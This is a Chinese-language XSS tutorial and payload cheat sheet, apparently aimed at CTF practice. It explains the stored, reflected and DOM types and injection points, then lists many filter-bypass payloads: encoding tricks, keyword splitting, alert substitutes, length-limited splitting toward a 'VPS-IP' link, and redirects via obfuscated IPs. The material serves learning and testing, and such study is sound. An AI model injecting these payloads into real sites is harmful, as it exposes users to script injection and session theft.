XSS跨站脚本攻击

即在受害者的浏览器中注入恶意脚本

1.存储型XSS

代码储存到服务器中,用户访问该页面的时候触发代码执行。

存储型XSS的数据流通:恶意代码通过交互界面上传到后端数据库→管理员admin查询数据库的信息→恶意脚本从后端传到前端

典例:留言板XSS。用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,留言内容会从数据库查询出来并显示,浏览器发现XSS代码,当做正常的HTML与Js解析执行,于是触发XSS攻击。

2.反射型XSS

欺骗用户点击链接触发XSS代码,盗取用户的Cookie信息。

反射型XSS的数据流通:在<input>标签形成的输入框里输入恶意脚本→用户触发,后端接收,进行攻击→显示在前端

3.DOM-XSS

不经过后端通过url传入参数去控制触发,属于反射型XSS,即在前端url添加恶意脚本后直接在页面输出

插入位置/攻击对象

1.HTML注释内容
1
2
3
4
5
<!-- 
<script>
alert('xss');
</script>
-->
2.HTML标签属性值
1
2
<script>alert('xss')</script>
<img src="image.png" onerror=" <script>alert('xss')</script>">

image图片无法显示时调用onerror属性执行恶意脚本。

3.HTML标签属性名
1
<input type="text" onclick="alert('xss')" name="><script>alert('xss')</script>">

恶意代码插入到了<input>标签中的name属性值中

4.HTML标签名
1
<<script>alert('xss')</script>img src="xss.png">

恶意代码插入到<img>标签中,由于标签名被拆分成两部分,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是<script> 标签的起始符号,从而误以为有两个标签被嵌套在一起

5.script,img,svg标签
1
<script>alert("xss");</script>
1
<img src=1 onerror=alert("xss");>
1
<svg onload=alert("xss");>
6.CSS
1
<div style="background-image:url('javascript:alert(`xss`)');">

background-image样式属性中插入一段JavaScript url,当用户打开页面时会执行弹窗,浏览器执行插入的java伪协议代码

7.HTTP响应

过滤绕过

关键词绕过

大小写绕过

<ImG sRc=x onerRor=alert("xss");>

下面的代码运用了php中的strtolower()函数将字符串转为小写,但是我们可以利用大小写绕过

1
2
3
4
5
<?php
$q = isset($_GET['q']) ? $_GET['q'] : '';
$q = strtolower($q);
?>
<p>你搜索的关键词是:<?php echo $q; ?></p>

xxxxx?q=<sCriPt>alert(1)<sCriPt>

双写关键字

<imimgg srsrcc=x onerror=alert("xss");>

字符拼接
eval
1
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
top
1
<script>top["al"+"ert"](`xss`);</script>
window
1
<img src="x" onerror="window['al'+'ert'](1)">
self
1
<img src="x" onerror="self[`al`+`ert`](1)">
parent
1
<img src="x" onerror="parent[`al`+`ert`](1)">
frames
1
<img src="x" onerror="frames[`al`+`ert`](1)">
函数替换(以<img>标签举例)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<img src= "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">
嵌套绕过

利用攻击对象原理进行绕过

1
<sc<script>ript>alert('Evi1s7')</sc</script>ript>
赋值绕过

编码绕过

html实体编码转义

当我们的可控点为单个标签属性时,可以使用 html 实体编码。

1
2
<iframe src="可控点">test<iframe>
<script>可控点</script>

payload:

1
<a href=javascript:alert(1)>aaa</a>
十进制绕过
1
<a href=javascript:alert(1)>aaa</a>
十六进制绕过

(如果题目过滤了分号,这里其实也可以把分号删去)

1
<a href=javascript:alert(1)>aaa</a>
填充0
1
<a href=&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029>aaa</a>
url编码绕过
1
2
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

需要注入点存在href属性或者src属性才可以利用url编码转义

在url解析过程中,不能对协议类型进行任何的编码操作

Ascii码绕过
1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制
1
<img src=x onerror=alert('\170\163\163')>
base64绕过
1
2
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

空格绕过

在html的标签中的不同位置的空格绕过方式不同

1
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置: /,/123/,%09,%0A,%0C,%0D,%20

B位置:%09,%0A,%0C,%0D,%20

C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)

D位置:%09,%0A,%0C,%0D,%20,//,>

()绕过

1.利用反引号
1
<script>alert`1`</script>

如果是html标签中可以不用引号。如果是在js中,可以用反引号代替单双引号

1
<img src="x" onerror=alert(`xss`);>
2.throw绕过
1
2
<script>alert;throw 1</script>
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

单引号过滤

1.可以利用斜杠替换
1
<script>alert(/xss/)</script>
2.利用反引号替换
1
<script>alert(`xss`)</script>

alert过滤绕过

1.利用其他JavaScript的函数替换
prompt()
1
<script>prompt('xss')</script>
confirm()
1
<script>confirm('xss')</script>
console.log()
1
<script>console.log('xss')</script>
document.write()
1
<script>document.write('xss')</script>
2.利用编码绕过
1
2
3
4
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
#alert(1)
<a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a>
#alert(1)

长度限制

拆分法

1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>xss</a>")'</script>
<script>eval(a)</script>

利用eval()函数将字符串解析为可执行的代码,从而进行拼接

1
document.write("<a href=http://VPS-IP:port>xss</a>")

分号绕过

当只过滤了分号时,可以利用花括号进行语句隔离

1
<script>{onerror=alert}throw 1</script>

过滤url地址

使用url编码
1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
1.十进制IP
1
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
1
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
1
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//代替http://
1
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\

但是要注意在windows下\本身就有特殊用途,是一个path的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议.